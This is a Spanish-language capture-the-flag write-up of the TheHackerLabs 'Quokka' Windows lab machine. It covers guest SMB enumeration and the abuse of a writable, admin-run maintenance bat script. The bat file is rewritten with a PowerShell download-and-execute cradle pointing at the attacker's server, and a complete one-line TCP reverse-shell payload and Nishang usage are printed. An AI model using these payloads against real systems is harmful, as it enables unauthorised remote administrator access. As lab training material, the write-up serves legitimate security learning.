Quokka - TheHackerLabs
Esta fue una máquina sencilla. Analizando el escaneo de servicios, nos damos cuenta de que podemos utilizar el usuario guest para entrar en el servicio SMB y que podemos visitar una página web activa en el puerto 80. Al visitar la página y no encontrar nada, pasamos a enumerar el servicio SMB, encontrando un script bat que se ejecuta con privilegios de administrador cada minuto. Descargamos y modificamos este script para que ejecute una Reverse Shell, con tal de poder conectarnos a la máquina víctima, siendo que nos conecta como el Administrador.
Herramientas utilizadas:
- ping
- nmap
- arp-scan
- wappalizer
- crackmapexec
- smbclient
- smbmap
- Nishang: Invoke-PowerShellTcp.ps1
- wget
- Python3
- rlwrap
- nc
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Análisis y Enumeración de Servicio SMB
- Enumeración de Servicio SMB con smbclient
- Enumeración de Servicio SMB con smbmap
- Enumeración de Servicio SMB con crackmapexec
- Analizando Scripts bat
- Explotación de Vulnerabilidades
- Links de Investigación
Recopilación de Información
Descubrimiento de Hosts
Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.
Lo haremos primero con nmap:
nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-28 12:51 CST
...
Nmap scan report for 192.168.1.210
Host is up (0.00059s latency).
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
...
Nmap done: 256 IP addresses (18 hosts up) scanned in 2.58 seconds
Vamos a probar la herramienta arp-scan:
arp-scan -I eth0 -g 192.168.1.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.1.210 XX PCS Systemtechnik GmbH
...
16 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.138 seconds (119.74 hosts/sec). 16 responded
Encontramos nuestro objetivo y es: 192.168.1.210
.
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.1.210
PING 192.168.1.210 (192.168.1.210) 56(84) bytes of data.
64 bytes from 192.168.1.210: icmp_seq=1 ttl=128 time=1.46 ms
64 bytes from 192.168.1.210: icmp_seq=2 ttl=128 time=0.558 ms
64 bytes from 192.168.1.210: icmp_seq=3 ttl=128 time=0.689 ms
64 bytes from 192.168.1.210: icmp_seq=4 ttl=128 time=0.663 ms
--- 192.168.1.210 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3021ms
rtt min/avg/max/mdev = 0.558/0.842/1.461/0.360 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.210 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-28 12:52 CST
Initiating ARP Ping Scan at 12:52
Scanning 192.168.1.210 [1 port]
Completed ARP Ping Scan at 12:52, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:52
Scanning 192.168.1.210 [65535 ports]
Discovered open port 80/tcp on 192.168.1.210
Discovered open port 135/tcp on 192.168.1.210
Discovered open port 445/tcp on 192.168.1.210
Discovered open port 139/tcp on 192.168.1.210
Discovered open port 49666/tcp on 192.168.1.210
Discovered open port 49668/tcp on 192.168.1.210
Discovered open port 49683/tcp on 192.168.1.210
Discovered open port 49665/tcp on 192.168.1.210
Discovered open port 47001/tcp on 192.168.1.210
Discovered open port 49664/tcp on 192.168.1.210
Discovered open port 49667/tcp on 192.168.1.210
Discovered open port 49669/tcp on 192.168.1.210
Discovered open port 5985/tcp on 192.168.1.210
Completed SYN Stealth Scan at 12:52, 10.31s elapsed (65535 total ports)
Nmap scan report for 192.168.1.210
Host is up, received arp-response (0.0010s latency).
Scanned at 2025-03-28 12:52:18 CST for 10s
Not shown: 65519 closed tcp ports (reset), 3 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
47001/tcp open winrm syn-ack ttl 128
49664/tcp open unknown syn-ack ttl 128
49665/tcp open unknown syn-ack ttl 128
49666/tcp open unknown syn-ack ttl 128
49667/tcp open unknown syn-ack ttl 128
49668/tcp open unknown syn-ack ttl 128
49669/tcp open unknown syn-ack ttl 128
49683/tcp open unknown syn-ack ttl 128
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.51 seconds
Raw packets sent: 66498 (2.926MB) | Rcvd: 65533 (2.621MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Como siempre en Windows hay varios puertos abiertos y me da curiosidad el puerto 80.
Escaneo de Servicios
nmap -sCV -p 80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49683 192.168.1.210 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-28 12:52 CST
Nmap scan report for 192.168.1.210
Host is up (0.00079s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Portfolio y Noticias Tech de Quokka
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2025-03-28T18:53:55
|_ start_date: 2025-03-28T18:46:50
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
| Computer name: WIN-VRU3GG3DPLJ
| NetBIOS computer name: WIN-VRU3GG3DPLJ\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-03-28T19:53:55+01:00
|_clock-skew: mean: -19m58s, deviation: 34m37s, median: 0s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.44 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
El escaneo nos está diciendo que podemos utilizar el usuario guest para ver el servicio SMB. Pero, primero vamos a ver la página web.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Parece una página web sobre Hacking.
Veamos qué nos dice Wappalizer:
No mucho.
Si aplicamos Fuzzing, lo único que encontraremos será un directorio llamado /avatar
:
De ahí en fuera no hay nada más, por lo que vamos a analizar el servicio SMB.
Análisis y Enumeración de Servicio SMB
Veamos qué nos dice crackmapexec:
crackmapexec smb 192.168.1.210
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)
Parece que no es necesario loguearnos para ver los recursos compartidos.
Vamos a listarlos con smbclient:
smbclient -L //192.168.1.210// -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Admin remota
C$ Disk Recurso predeterminado
Compartido Disk
IPC$ IPC IPC remota
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.1.210 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Funciona y podemos ver el directorio Compartido.
Veamos qué nos dice smbmap:
smbmap -H 192.168.1.210 -u 'guest' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 192.168.1.210:445 Name: 192.168.1.210 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Admin remota
C$ NO ACCESS Recurso predeterminado
Compartido READ, WRITE
IPC$ READ ONLY IPC remota
[*] Closed 1 connections
Excelente, tenemos permisos de escritura y lectura en este recurso.
Vamos a enumerar este recurso.
Enumeración de Servicio SMB con smbclient
Vamos a loguearnos utilizando smbclient:
smbclient -U 'guest' //192.168.1.210/Compartido -N
Try "help" to get a list of possible commands.
smb: \>
Estamos dentro.
Veamos qué hay dentro:
smb: \> ls
. D 0 Fri Mar 28 13:43:35 2025
.. D 0 Fri Mar 28 13:43:35 2025
Documentación D 0 Sun Oct 27 08:33:53 2024
Logs D 0 Sun Oct 27 08:33:54 2024
Proyectos D 0 Sun Oct 27 08:33:54 2024
Son algunos directorios y dentro hay varios archivos.
El directorio que nos interesa es Proyectos, pues aquí encontraremos un directorio que contiene unos scripts que podemos analizar.
La ruta es Proyectos/Quokka/Código
:
smb: \Proyectos\Quokka\Código\> ls
. D 0 Fri Mar 28 14:02:53 2025
.. D 0 Fri Mar 28 14:02:53 2025
index.html A 52 Sun Oct 27 08:33:54 2024
mantenimiento - copia.bat A 1252 Sun Oct 27 08:41:43 2024
mantenimiento.bat A 359 Sun Oct 28 19:49:04 2024
README.md A 56 Sun Oct 27 08:33:54 2024
7735807 blocks of size 4096. 4814841 blocks available
Vamos a descargar esos dos scripts bat:
smb: \Proyectos\Quokka\Código\> get mantenimiento.bat
getting file \Proyectos\Quokka\Código\mantenimiento.bat of size 359 as mantenimiento.bat (50.1 KiloBytes/sec) (average 35.1 KiloBytes/sec)
.
smb: \Proyectos\Quokka\Código\> get "mantenimiento - copia.bat"
getting file \Proyectos\Quokka\Código\mantenimiento - copia.bat of size 1252 as mantenimiento - copia.bat (174.7 KiloBytes/sec) (average 174.7 KiloBytes/sec)
Ya los tenemos, ahora podemos analizarlos.
Enumeración de Servicio SMB con smbmap
Ya vimos que funciona smbmap si le damos el usuario guest:
smbmap -H 192.168.1.210 -u 'guest' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 192.168.1.210:445 Name: 192.168.1.210 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Admin remota
C$ NO ACCESS Recurso predeterminado
Compartido READ, WRITE
IPC$ READ ONLY IPC remota
[*] Closed 1 connections
Recordemos que la ruta que nos interesa es Proyectos/Quokka/Código
:
smbmap -H 192.168.1.210 -u 'guest' -r Compartido/Proyectos/Quokka/Código --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 192.168.1.210:445 Name: 192.168.1.210 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Admin remota
C$ NO ACCESS Recurso predeterminado
Compartido READ, WRITE
./CompartidoProyectos/Quokka/Código
dr--r--r-- 0 Fri Mar 28 14:02:53 2025 .
dr--r--r-- 0 Fri Mar 28 14:02:53 2025 ..
fr--r--r-- 52 Sun Oct 27 08:51:14 2024 index.html
fr--r--r-- 1252 Sun Oct 27 08:51:14 2024 mantenimiento - copia.bat
fr--r--r-- 359 Sun Oct 28 19:49:04 2024 mantenimiento.bat
fr--r--r-- 56 Sun Oct 27 08:51:14 2024 README.md
IPC$ READ ONLY IPC remota
[*] Closed 1 connections
Y podemos descargar los scripts bat:
smbmap -H 192.168.1.210 -u 'guest' --download Compartido/Proyectos/Quokka/Código/mantenimiento.bat --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] Starting download: Compartido\Proyectos\Quokka\Código\mantenimiento.bat (359 bytes)
[+] File output to: /../TheHackersLabs/Quokka/content/192.168.1.210-Compartido_Proyectos_Quokka_Código_mantenimiento.bat
[*] Closed 1 connections
.
smbmap -H 192.168.1.210 -u 'guest' --download Compartido/Proyectos/Quokka/Código/mantenimiento\ -\ copia.bat --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] Starting download: Compartido\Proyectos\Quokka\Código\mantenimiento - copia.bat (1252 bytes)
[+] File output to: /../TheHackersLabs/Quokka/content/192.168.1.210-Compartido_Proyectos_Quokka_Código_mantenimiento - copia.bat
[*] Closed 1 connections
Listo, ahora podemos analizarlos.
Enumeración de Servicio SMB con crackmapexec
Veamos qué nos dice crackmapexec sobre el usuario guest:
crackmapexec smb 192.168.1.210 -u 'guest' -p ''
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [+] WIN-VRU3GG3DPLJ\guest:
Bien, podemos usarlo para ver los recursos compartidos:
crackmapexec smb 192.168.1.210 -u 'guest' -p '' --shares
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [+] WIN-VRU3GG3DPLJ\guest:
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [+] Enumerated shares
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ Share Permissions Remark
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ ----- ----------- ------
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ ADMIN$ Admin remota
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ C$ Recurso predeterminado
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ Compartido READ,WRITE
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ IPC$ IPC remota
Y como ya conocemos la ruta y los archivos que queremos analizar, podemos descargarlos, pero no podremos, ya que parece que el usuario guest no tiene permisos suficientes.
Lo que sí podemos hacer, es enumerar los usuarios existentes en la máquina víctima:
crackmapexec smb 192.168.1.210 -u 'guest' -p '' --rid-brute
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [+] WIN-VRU3GG3DPLJ\guest:
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ [+] Brute forcing RIDs
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ 500: WIN-VRU3GG3DPLJ\Administrador (SidTypeUser)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ 501: WIN-VRU3GG3DPLJ\Invitado (SidTypeUser)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ 503: WIN-VRU3GG3DPLJ\DefaultAccount (SidTypeUser)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ 513: WIN-VRU3GG3DPLJ\Ninguno (SidTypeGroup)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ 1000: WIN-VRU3GG3DPLJ\Omar (SidTypeUser)
SMB 192.168.1.210 445 WIN-VRU3GG3DPLJ 1001: WIN-VRU3GG3DPLJ\0mar (SidTypeUser)
Tenemos al usuario 0mar, pero no tenemos su contraseña.
Ya no podremos hacer más, por lo que mejor analizamos los archivos que descargamos.
Analizando Scripts bat
Veamos qué contiene el script mantenimiento.bat:
cat mantenimiento.bat
@echo off
:: Mantenimiento del sistema de copias de seguridad
:: Este script es ejecutado cada minuto
REM Pista: Tal vez haya algo m�s aqu�...
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"
:: Fin del script
exit
Parece que este script que se ejecuta cada minuto y ejecuta un archivo ps1 de un servidor remoto, y por lo que entiendo, está ejecutando una Reverse Shell.
Seamos más específicos:
Opción | Descripción |
---|---|
powershell |
Ejecuta PowerShell. |
-NoP (-NoProfile ) |
No carga el perfil del usuario de PowerShell. |
-NonI (-NonInteractive ) |
Ejecuta PowerShell en modo no interactivo. |
-W Hidden |
Oculta la ventana de PowerShell. |
-Exec Bypass |
Omite la política de ejecución de scripts de PowerShell. |
-Command |
Ejecuta el siguiente comando de PowerShell. |
iex(...) (Invoke-Expression ) |
Ejecuta el código descargado como si fuera parte del script. |
(New-Object Net.WebClient) |
Crea un objeto Net.WebClient para descargar datos por HTTP. |
.DownloadString('http://192.168.1.36:8000/shell.ps1') |
Descarga y ejecuta shell.ps1 desde el servidor remoto. |
Con esto ya queda claro lo que hace este script, pasemos al siguiente.
Veamos qué nos dice el script mantenimiento - copia.bat:
cat mantenimiento\ -\ copia.bat
@echo off
:: ------------------------------------------------------------------
:: Mantenimiento del sistema de copias de seguridad
:: Este script es ejecutado cada minuto para mover los archivos de logs
:: Nota: Asegúrate de no modificar este script sin permisos de administrador
:: ------------------------------------------------------------------
:: Pista: Este script se ejecuta con permisos elevados. Seguro que no hay nada más?
REM Mover los archivos de logs a la carpeta de respaldo
echo Moviendo archivos de logs...
move "C:\Logs\*.log" "C:\Backup\OldLogs\"
:: Pista oculta: Si tienes acceso a este script, podrás manipular su comportamiento.
:: Asegúrate de revisar las líneas de comando en detalle. Tal vez haya una forma de aprovechar esta ejecución
REM Verificar el estado del sistema
echo Verificando el estado del sistema...
systeminfo > nul
REM Comprobando si los archivos temporales necesitan limpieza
echo Limpiando archivos temporales...
del /q "C:\Temp\*.*"
REM Pista: Todo parece estar bajo control, pero realmente lo está?
REM Este script se ejecuta con permisos de administrador cada minuto. Tal vez haya algo útil aquÃ.
:: Fin del script
echo Operación completada.
exit
Según las notas que tiene este script, se ejecuta con privilegios de administrador (lo cual es peligroso que dicho archivo esté en un recurso expuesto), mueve todos los archivos log del directorio C:/Logs/
al directorio C:/Backup/OldLogs
, verifica si el sistema es accesible con systeminfo > nul
, y por último, borra todos los archivos que estén dentro de C:/Temp/
.
Por lo que entiendo, el script que se está ejecutando con privilegios de admin, es el script mantenimiento.bat. Entonces, es posible modificarlo para que pueda realizar acciones no deseadas y parece que alguien ya lo hizo.
Explotación de Vulnerabilidades
Aprovechandonos de Script mantenimiento.bat para Ganar Acceso a la Máquina Víctima
Vamos a jugar un poco con este script mantenimiento.bat, para poder ganar acceso a la máquina víctima.
Utilizando Invoke-PowerShellTcp.ps1 de Nishang y Modificando Script mantenimiento.bat para que lo Ejecute
Como ya vimos que este script ejecuta una Reverse Shell de un servidor remoto, solamente tenemos que crear nuestra Reverse Shell, levantar un servidor y modificar el script mantenimiento.bat para que apunte a nuestro servidor.
Primero, vamos a descargar el script Invoke-PowerShellTcp.ps1 de Nishang que nos servirá como una Reverse Shell.
Aquí lo puedes encontrar:
La podemos descargar con wget:
wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
...
Modificamos este script, agregándole al final la instrucción que indica que será utilizado como una Reverse Shell:
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress Tu_IP -Port 443
Levanta un servidor con Python3:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Utiliza rlwrap para abrir una netcat que capturará la Reverse Shell:
rlwrap nc -nlvp 443
listening on [any] 443 ...
Modificamos el script mantenimiento.bat para agregar nuestra IP y el nombre del script de Nishang:
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://Tu_IP/Invoke-PowerShellTcp.ps1')"
Por último, subimos el script mantenimiento.bat modificado al SMB y esperamos la respuesta:
smbmap -H 192.168.1.210 -u guest --upload mantenimiento.bat Compartido/Proyectos/Quokka/Código/mantenimiento.bat --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] Starting upload: mantenimiento.bat (356 bytes)
[+] Upload complete
[*] Closed 1 connections
Recuerda que tienes que esperar 1 minuto.
Observa la netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.210] 50790
Windows PowerShell running as user Administrador on WIN-VRU3GG3DPLJ
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
.
PS C:\Windows\system32>whoami
win-vru3gg3dplj\administrador
Estamos dentro.
Creando Reverse Shell de PowerShell y Ejecutandola con Script mantenimiento.bat
Podemos utilizar la segunda opción de Reverse Shell de PowerShell de revshells.com
para crear un script que se llame revShell.ps1 y se ejecute de la misma manera que el método anterior.
Quedaría así el script, solamente con los script-blocks:
$client = New-Object System.Net.Sockets.TCPClient('Tu_IP',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Ahora, seguimos el mismo proceso de modificar y subir el script mantenimiento.bat.
Levanta un servidor con Python3:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Utiliza rlwrap para abrir una netcat que capturará la Reverse Shell:
rlwrap nc -nlvp 443
listening on [any] 443 ...
Modificamos el script mantenimiento.bat para agregar nuestra IP y el nombre del script de Nishang:
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://Tu_IP/revShell.ps1')"
Subimos el script mantenimiento.bat modificado al SMB:
smbmap -H 192.168.1.210 -u guest --upload mantenimiento.bat Compartido/Proyectos/Quokka/Código/mantenimiento.bat --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] Starting upload: mantenimiento.bat (356 bytes)
[+] Upload complete
[*] Closed 1 connections
Y espera un minuto, luego, revisa la netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.210] 51014
.
PS C:\Windows\system32> whoami
win-vru3gg3dplj\administrador
Excelente, volvimos a ganar acceso.
Ya solo buscamos las flags:
PS C:\Windows\system32> cd C:\Users\0mar\Desktop
PS C:\Users\0mar\Desktop> dir
Directorio: C:\Users\0mar\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 27/10/2024 16:16 25 user.txt
PS C:\Users\0mar\Desktop> type user.txt
...
PS C:\Users\0mar\Desktop> cd C:\Users\Administrador\Desktop
PS C:\Users\Administrador\Desktop> dir
Directorio: C:\Users\Administrador\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 27/10/2024 16:16 30 admin.txt
PS C:\Users\Administrador\Desktop> type admin.txt
...
Con esto terminamos la máquina.
Links de Investigación
- https://github.com/samratashok/nishang
- https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1